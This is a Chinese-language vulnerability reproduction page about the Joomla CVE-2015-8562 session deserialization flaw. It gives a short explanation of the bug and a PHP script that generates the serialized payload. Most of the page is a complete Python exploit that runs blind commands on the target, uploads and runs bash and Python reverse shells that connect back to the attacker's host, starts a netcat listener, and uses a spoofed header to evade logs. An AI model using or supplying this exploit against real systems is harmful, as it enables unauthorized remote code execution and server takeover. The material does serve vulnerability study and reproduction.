跳转至

(CVE-2015-8562)Joomla 3.4.5 反序列化漏洞

一、漏洞简介

本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。

二、漏洞影响

  • Joomla 1.5.x, 2.x, and 3.x before 3.4.6
  • PHP 5.6 \< 5.6.13, PHP 5.5 \< 5.5.29 and PHP 5.4 \< 5.4.45

三、复现过程

我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie:

再用如下脚本生成POC:

&lt;?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this-&gt;feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this-&gt;javascript = 9999;
        $this-&gt;cache_name_function = "assert";
        $this-&gt;sanitize = new JDatabaseDriverMysql();
        $this-&gt;cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this-&gt;a = new JSimplepieFactory();
        $x = new SimplePie();
        $this-&gt;connection = 1;
        $this-&gt;disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
$poc = serialize($a);

$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);

echo "123}__test|{$poc}\xF0\x9D\x8C\x86";

123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?

将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。然后同样的包再发一次,我们的代码被执行:

poc

Blind RCE:

python joomla-cve-2015-8562.py -t http://&lt;target_ip&gt;/ --cmd
$ touch /tmp/test

Spawn Reverse Shell:

python joomla-cve-2015-8562.py -t http://&lt;target_ip&gt;/ -l &lt;local_ip&gt; -p &lt;local_port&gt;
[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: http://&lt;target_ip&gt;/
[-] Uploading python reverse shell
&lt;Response [200]&gt;
[+] Spawning reverse shell....
&lt;Response [200]&gt;
Listening on [0.0.0.0] (family 0, port 1337)
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
#!/usr/bin/python

# Exploit Title: Joomla 1.5 - 3.4.5 Object Injection RCE
# Date: 15/09/2017
# Author: Gary@ Sec-1 ltd
# Modified: Andrew McNicol BreakPoint Labs (@0xcc_labs)
# Modified: Paolo Stagno (@Void_Sec) - https://voidsec.com
# Vendor Homepage: https://www.joomla.org/
# Software Link: http://joomlacode.org/gf/project/joomla/frs/
# Version: Joomla 1.5 - 3.4.5
# Tested on: Debian 3.2.89-2 x86_64 GNU/Linux (Joomla! 3.2.1 Stable)
# CVE : CVE-2015-8562

'''
    Blind RCE:
    python joomla-cve-2015-8562.py -t http://192.168.0.1/ --cmd
    $ touch /tmp/test
    Spawn Reverse Shell:
    python joomla-cve-2015-8562.py -t http://192.168.0.1/ -l 192.168.0.2 -p 1337
    [-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: http://192.168.0.1/
    [-] Uploading python reverse shell with LHOST:192.168.1.119 and LPORT:1337
    &lt;Response [200]&gt;
    [+] Spawning reverse shell....
    &lt;Response [200]&gt;
    Listening on [0.0.0.0] (family 0, port 1337)
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
'''

import requests
import subprocess
import argparse
import sys
import base64
import string
import random
import time
import urllib3

def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
    return str(''.join(random.choice(chars) for _ in range(size)))

def get_url(url, user_agent, ua_method, proxyDict):
    if ua_method == True :
        # Defaul PoC
        headers = {
        'User-Agent': user_agent
        }
    else:
        # Firefox user_agent and x-forwarded-for method to evade log and lower detection
        headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
        'X-Forwarded-For': user_agent
        }
    try:
        cookies = requests.get(url,headers=headers, proxies=proxyDict, verify=False).cookies
        for _ in range(3):
            response = requests.get(url, headers=headers,cookies=cookies, proxies=proxyDict, verify=False)
        return response
    except requests.exceptions.MissingSchema:
        print "\033[1;31;10m\n[!] Missing http:// or https:// from Target URL\n\033[1;37;10m"
        sys.exit(1)

def php_str_noquotes(data):
    #Convert string to chr(xx).chr(xx) for use in php
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))

    return encoded[:-1]

def generate_payload(php_payload):
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate

    return exploit_template


def main():
    parser = argparse.ArgumentParser(prog='joomla-cve-2015-8562.py', description='\033[1;37;10mJoomla Object Injection RCE CVE-2015-8652')
    parser.add_argument('-t', dest='RHOST', required=True, help='\033[1;37;10mRemote Target Joomla Server (http://&lt;target ip&gt;)')
    parser.add_argument('-l', dest='LHOST', help='\033[1;37;10mLocal IP for Reverse Shell')
    parser.add_argument('-p', dest='LPORT', help='\033[1;37;10mLocal Port for Reverse Shell')
    parser.add_argument('--cmd', dest='cmd', action='store_true', help='\033[1;37;10mDrop into blind RCE')
    parser.add_argument('--u', dest='method', action='store_true', help='\033[1;37;10mSwitch from X-Forwarded-For to User-Agent (less stealthy)')
    parser.add_argument('--b', dest='bash', action='store_true', help='\033[1;37;10mSwitch from Python reverse shell to Bash')
    parser.add_argument('--proxy', dest='proxy', default='None', help='\033[1;37;10mIP of web proxy to go through (http://127.0.0.1:8080)')
    args = parser.parse_args()

    if args.proxy is not None:
        proxyDict = { "http"  : args.proxy, "https" : args.proxy }
    else:
        proxyDict = {}
    if args.cmd:
        print "\033[1;37;10m[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "\033[1;32;10m[+] Dropping into shell-like environment to perform blind RCE"
        while True:
            command = raw_input('\033[1;37;10m$ ')
            cmd_str = "system('{}');".format(command)
            pl = generate_payload(cmd_str)
            print get_url(args.RHOST, pl, args.method, proxyDict)

    # Spawn Reverse Shell using Netcat listener &amp; Python shell on victim
    elif args.LPORT and args.LPORT:
        shell_name = id_generator()
        connection = "'{}', {}".format(args.LHOST, args.LPORT)

        if args.bash == True :
            comm = "bash"
            shell_name = shell_name+".sh"
            # pentestmonkey's Bash reverse shell one-liner:
            str_shell = 'bash -i &gt;&amp; /dev/tcp/{}/{} 0&gt;&amp;1'.format(args.LHOST, args.LPORT)
            payload = '''echo "'''+str_shell+'''" &gt; /tmp/'''+shell_name+''''''
        else :
            comm = "python"
            shell_name = shell_name+".py"
            # pentestmonkey's Python reverse shell one-liner:
            str_shell = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('''+connection+'''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'''
            # Base64 encoded the Python reverse shell as some chars were messing up in the exploit
            encoded_comm = base64.b64encode(str_shell)
            payload = "echo {} | base64 -d &gt; /tmp/{}".format(encoded_comm, shell_name)

        print "\033[1;37;10m[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "\033[1;32;10m[+] Spawning listener on {}:{}".format(args.LHOST, args.LPORT)        
        listener = subprocess.Popen(args=["gnome-terminal", "--command=nc -lvp "+args.LPORT])
        time.sleep(5)
        print "\033[1;37;10m[-] Uploading reverse shell to /tmp/{}".format(shell_name)
        pl = generate_payload("system('"+payload+"');")
        print get_url(args.RHOST, pl, args.method, proxyDict)
        time.sleep(2)
        print "\033[1;32;10m[+] Spawning reverse shell..."
        print "\033[1;33;10m[-] Check if the listener caught the shell\033[1;37;10m"
        pl = generate_payload("system('{} /tmp/{}');".format(comm, shell_name))
        print get_url(args.RHOST, pl, args.method, proxyDict)
    else:
        print '\033[1;31;10m\n[!] Missing Arguments\n\033[1;37;10m'
        parser.print_help()

if __name__ == "__main__":
    try:
        # Suppress SSL Warning due to unverified HTTPS requests.
        # See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        main()
    except KeyboardInterrupt:
        print "\033[1;31;10mQuitting..."
        sys.exit(0)

参考链接

https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2015-8562

https://github.com/VoidSec/Joomla_CVE-2015-8562